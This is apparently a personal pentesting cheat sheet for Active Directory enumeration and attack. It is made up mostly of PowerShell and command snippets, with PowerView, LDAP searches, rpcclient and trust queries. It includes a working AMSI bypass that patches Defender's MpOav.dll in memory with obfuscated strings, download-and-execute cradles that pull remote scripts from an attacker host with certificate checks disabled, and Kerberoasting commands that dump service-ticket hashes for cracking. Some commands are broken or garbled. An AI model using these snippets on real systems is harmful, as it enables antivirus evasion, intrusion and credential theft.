AD Enumeration

Owner	Raymond Soreng
Tags	

Cheat-Sheet

▼ PS Snippets

```
# Set Domain as a Variable
$ADClass = [System.DirectoryServices.ActiveDirectory.Domai
n]
$ADClass::GetCurrentDomain()

# Proceed through errors
$ErrorActionPreference= 'silentlycontinue'

# Helpful variables
$command =
$ADAttr =
$string =

# Run command against an AD Attribute (ADAttr) and search f
or a string to collect information
$command | Select $ADAttr | findstr $string
```

```
#

[System.Net.ServicePointManager]::ServerCertificateValidati
```

```
onCallback = {$true}; powershell.exe -nop ((New-Object Net.
WebClient).DownloadString('https://<LHOST>/<PATH>','<PAYLOA
D>'))

#kerberos
$ErrorActionPreference= 'silentlycontinue' ; [System.Net.Se
rvicePointManager]::CertificatePolicy = New-Object TrustAll
CertsPolicy; $string = '")'; $string = string.ps1; Import-M
odule string.ps1; $command -OutputFormat john | % { $_.Hash
} | Out-File -Encoding ASCII hashes.kerberoast

#DLL Hijack

$ErrorActionPreference= 'verbose' ; [System.Net.ServicePoin
tManager]::CertificatePolicy = New-Object TrustAllCertsPoli
cy; iex (new-object Net.WebClient).DownloadString("https://
raw.githubusercontent.com/slyd0g/DLLHijackTest/master/Get-P
otentialDLLHijack.ps1") ; Out-File -Path "E:\$target_folder
\potential-dll.txt"
```

```
$ErrorActionPreference= 'verbose'

$rhosts = Get-Content -Path "E:\Targets\Targets.txt"
foreach ($rhost in $rhosts)
{
$run = py "\\$hostname\E$\Tools\bacon\ad_hardening\Scripts
\FOSS\0. New Target\impacket\examples\rpcdump.py $rhost -p
135"
}
```

▼ Setting Up

`#AMSI Bypass: Currently caught often. Requires modification`

```
$APIs = @"
using System;
using System.Runtime.InteropServices;
public class APIs {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModu
le, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddre
ss, UIntPtr ekwiam, uint flNewProtect, out uint lpflOldProt
ect);
}
"@

Add-Type $APIs

$wzys = "0xB8"
$coxo = "0x57"
$hxuu = "0x00"
$eqhh = "0x07"
$paej = "0x80"
$ppiy = "0xC3"
$Patch = [Byte[]] ($wzys,$coxo,$hxuu,$eqhh,+$paej,+$ppiy)

$LoadLibrary = [APIs]::LoadLibrary("MpOav.dll")
$Address = [APIs]::GetProcAddress($LoadLibrary,"DllGetClass
Object")
$p = 0
[APIs]::VirtualProtect($Address, [uint32]6, 0x40, [ref]$p)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0,
$Address, 6)
$object = [Ref].Assembly.GetType('System.Ma'+'nag'+'eme'+'n
t.Autom'+'ation.A'+'ms'+'iU'+'ti'+'ls')
```

```
$Uninitialize = $object.GetMethods('N'+'onPu'+'blic,st'+'a
t'+'ic') | Where-Object Name -eq Uninitialize
$Uninitialize.Invoke($object,$null)

powershell.exe -ep bypass
```

▼ Traditional

```
net user
net user /domain
net user <USER> /domain
net group /domain
```

▼ Powerview

```
Get-DomainSID
```

```
Get-NetDomainControllerGet
```

```
Get-NetComputer
Get-NetComputer -fulldata | select operatingsystem
Get-DomainComputer -Properties OperatingSystem, Name, DnsHo
stName | Sort-Object -Property DnsHostName
Get-DomainComputer -Ping -Properties OperatingSystem, Name,
DnsHostName | Sort-Object -Property DnsHostName
```

```
Get-DomainPolicy
(Get-DomainPolicy)."system access"
(Get-DomainPolicy)."Kerberos Policy"
```

```
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceus
```

```
-match "<group>"}
```

```
Get-NetForestDomain -Verbose
Get-NetForestDomain -Verbose | Get-NetDomainTrust
Get-NetForestDomain -Verbose | Get-NetDomainTrust | ?{$_.Tr
ustType -eq 'External'}
```

```
Get-NetDomain
Get-NetDomain -Domain <Forest>
Get-NetDomainTrust
Get-NetDomainTrust | ?{$_.TrustType -eq 'External'}
```

```
Get-NetUser
Get-NetUser -Username <username>
Get-NetUser | select -ExpandProperty samaccountname
Get-NetUser | select cn
```

```
Get-UserProperty
Get-UserProperty -Properties
```

▼ Properties

```
accountexpires
admincount
adspath
badpasswordtime
badpwdcount
cn
codepage
countrycode
description
displayname
distinguishedname
```

```
dscorepropagationdata
extensionattribute4
extensionattribute5
extensionattribute6
extensionattribute7
instancetype
iscriticalsystemobject
lastlogoff
lastlogon
lastlogontimestamp
lockouttime
logoncount
logonhours
managedobjects
memberof
msds-supportedencryptiontypes
msexchumdtmfmap
msexchuserbl
msexchwhenmailboxcreated
msmqdigests
msmqsigncertificates
mstsexpiredate
mstslicenseversion
mstsmanagingls
name
objectcategory
objectclass
objectguid
objectsid
primarygroupid
protocolsettings
proxyaddresses
pwdlastset
samaccountname
samaccounttype
useraccountcontrol
```

```
userprincipalname
usnchanged
usncreated
whenchanged
whencreated
```

```
Get-NetGroup
Get-NetGroup -GroupName "Domain Admins" -FullData
Get-NetGroupMember -GroupName "Domain Admins"
Get-NetGroupMember -GroupName "Enterprise Admins"
Get-NetGroupMember -GroupName "Enterprise Admins" –Domain m
oneycorp.local
```

```
Invoke-ShareFinder -ExcludeStandard -ExcludePrint -ExcludeI
PC –Verbose
```

```
Get-ObjectAcl -SamAccountName "users" -ResolveGUIDs -Verbos
e
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs
-Verbose
```

▼ Pywerview.py

Offensive Security Cheatsheet

rpcclient # You can use rpc to enumerate domain objects rpcclient -U rpcclient $> enumdomusers rpcclient $> enumdomgroups rpcclient $> querygroupmem 0x200 rpcclient $> srvinfo rpcclient $> querygroup 0x42 rpcclient $> queryuser 0x42 rpcclient $> getdompwinfo

https://cheatsheet.haax.fr/windows-systems/network-and-domain-recon/domain_recon/#pywerview

▼ AD PS Module

```
$ADClass = [System.DirectoryServices.ActiveDirectory.Domai
n]

$ADClass::GetCurrentDomain()
```

```
Get-ADDomainController
```

```
Get-ADTrust -Filter *

Get-ADTrust -Filter * -Server <Domain>
```

```
Get-ADDomain
Get-ADDomain -Identity <Forest>
(Get-ADDomain).DomainSID
```

```
Get-NetOU

Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_}

(Get-NetOU StudentMachines -FullData).gplink
```

```
Get-ADUser -Filter * -Properties *

Get-ADUser -Identity <student1> -Properties *

Get-ADUser -Filter * -Properties * | select -First 1 | Get-
Member -MemberType *Property | select Name

Get-ADUser -Filter * -Properties *| select Samaccountname,D
escription
```

```
(Get-ADForest).Domains

Get-ADForest | %{Get-ADTrust -Filter *}

(Get-ADForest).Domains | %{Get-ADTrust -Filter '(intraFores
t -ne $True) -and (ForestTransitive -ne $True)' -Server $_}
```

```
Get-NetGPO

Get-NetGPO -ADSpath 'LDAP://cn={3E04167E-C2B6-4A9A-8FB7-C81
1158DC97C},cn=policies,cn=system,DC=dollarcorp,DC=moneycor
p,DC=local'

Get-NetGPO -ADSpath ((Get-NetOU StudentMachines -FullData).
gplink.split(";")[0] -replace "^.")
```

▼ For Kerberoasting

```
#Trust All Certs
$ErrorActionPreference= 'verbose' ; [System.Net.ServicePoin
tManager]::CertificatePolicy = New-Object TrustAllCertsPoli
cy
#
$url="https://$domain.root/$path/WonTonPlatypus.ps1"
$url2="https://$domain.root/$path/AppleDogPeas.ps1"
$tempFilePath = "C:\Users\Public\WTP.ps1"
$tempFilePath2 = "C:\Users\Public\ADP.ps1"
Invoke-WebRequest $url -OutFile $tempFilePath
Invoke-WebRequest $url2 -OutFile $tempFilePath2
Import-Module $tempFilePath
Import-Module $tempFilePath2
Remove-Item $tempFilePath
Remove-Item $tempFilePath2
```

```
Invoke-Cerberus -OutputFormat john | % { $_.Hash } | Out-Fi
le -Encoding ASCII hashes.cerberus
```

```
# Request New Kerberos Tickets

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSec
urityToken -ArgumentList "SERVICE PRINCIAL NAME"
```

▼ Modern

```
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurre
ntDomain()
```

`We can use this information to programmatically build the LDAP provider path. Let's include the` *`Name`* `and` *`PdcRoleOwner`* `properties in a simple PowerShell script that builds the provider path:`

```
$domainObj = [System.DirectoryServices.ActiveDirectory.Doma
in]::GetCurrentDomain("<domain>")

$domainObj = "<domain>"

$PDC = ($domainObj.PdcRoleOwner).Name

$SearchString = "LDAP://"

$SearchString += $PDC + "/"

$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',D
C='))"

$SearchString += $DistinguishedName

$SearchString
```

In this script, *$domainObj* will store the entire domain object, *$PDC* will store the *Name* of the PDC, and *$SearchString* will build the provider path for output. Notice that the *DistinguishedName* will consist of our domain name ('corp.com') broken down into individual domain components (DC), making the DistinguishedName "DC=corp,DC=com" as shown in the script's output:

With our *DirectorySearcher* object ready, we can perform a search. However, without any filters, we would receive all objects in the entire domain.

One way to set up a filter is through the *samAccountType* attribute, 14 which is an attribute that all user, computer, and group objects have. Please refer to the linked reference 14:1 for more examples, but in our case we can supply 0x30000000 (decimal 805306368) to the filter property to enumerate all users in the domain, as shown in Listing 10:

```
$domainObj = [System.DirectoryServices.ActiveDirectory.Doma
in]::GetCurrentDomain()

$PDC = ($domainObj.PdcRoleOwner).Name

$SearchString = "LDAP://"

$SearchString += $PDC + "/"

$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',D
C='))"

$SearchString += $DistinguishedName

$Searcher = New-Object System.DirectoryServices.DirectorySe
archer([ADSI]$SearchString)

$objDomain = New-Object System.DirectoryServices.DirectoryE
ntry($SearchString, "corp.com\offsec", "lab")

$Searcher.SearchRoot = $objDomain

$Searcher.filter="samAccountType=805306368"

$Searcher.FindAll()
```

```
Foreach($obj in $Result)
{
    Foreach($prop in $obj.Properties)
    {
        $prop
    }

    Write-Host "------------------------"
}
```

▼ Nested Groups

```
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

$PDC = ($domainObj.PdcRoleOwner).Name

$SearchString = "LDAP://"

$SearchString += $PDC + "/"

$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"

$SearchString += $DistinguishedName

$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)

$objDomain = New-Object System.DirectoryServices.DirectoryEntry

$Searcher.SearchRoot = $objDomain

$Searcher.filter="(objectClass=Group)"
```

```
$Result = $Searcher.FindAll()

Foreach($obj in $Result)
{
    $obj.Properties.name
}
```

```
$domainObj = [System.DirectoryServices.ActiveDirectory.Doma
in]::GetCurrentDomain()

$PDC = ($domainObj.PdcRoleOwner).Name

$SearchString = "LDAP://"

$SearchString += $PDC + "/"

$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',D
C='))"

$SearchString += $DistinguishedName

$Searcher = New-Object System.DirectoryServices.DirectorySe
archer([ADSI]$SearchString)

$objDomain = New-Object System.DirectoryServices.DirectoryE
ntry

$Searcher.SearchRoot = $objDomain

$Searcher.filter="(name=Secret_Group)"

$Result = $Searcher.FindAll()

Foreach($obj in $Result)
```

```
{
    $obj.Properties.member
}
```

▼ Currently Logged on Users

```
Get-NetLoggedon -ComputerName <HOSTNAME>
Get-NetSession -ComputerName <HOSTNAME>
```

▼ Enumeration Through Service Principle Names

```
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

$PDC = ($domainObj.PdcRoleOwner).Name

$SearchString = "LDAP://"
$SearchString += $PDC + "/"

$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"

$SearchString += $DistinguishedName

$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)

$objDomain = New-Object System.DirectoryServices.DirectoryEntry

$Searcher.SearchRoot = $objDomain

$Searcher.filter="serviceprincipalname=*http*"
```

```
$Result = $Searcher.FindAll()

Foreach($obj in $Result)
{
    Foreach($prop in $obj.Properties)
    {
        $prop
    }
}
```

```
nslookup <DOMAIN>
```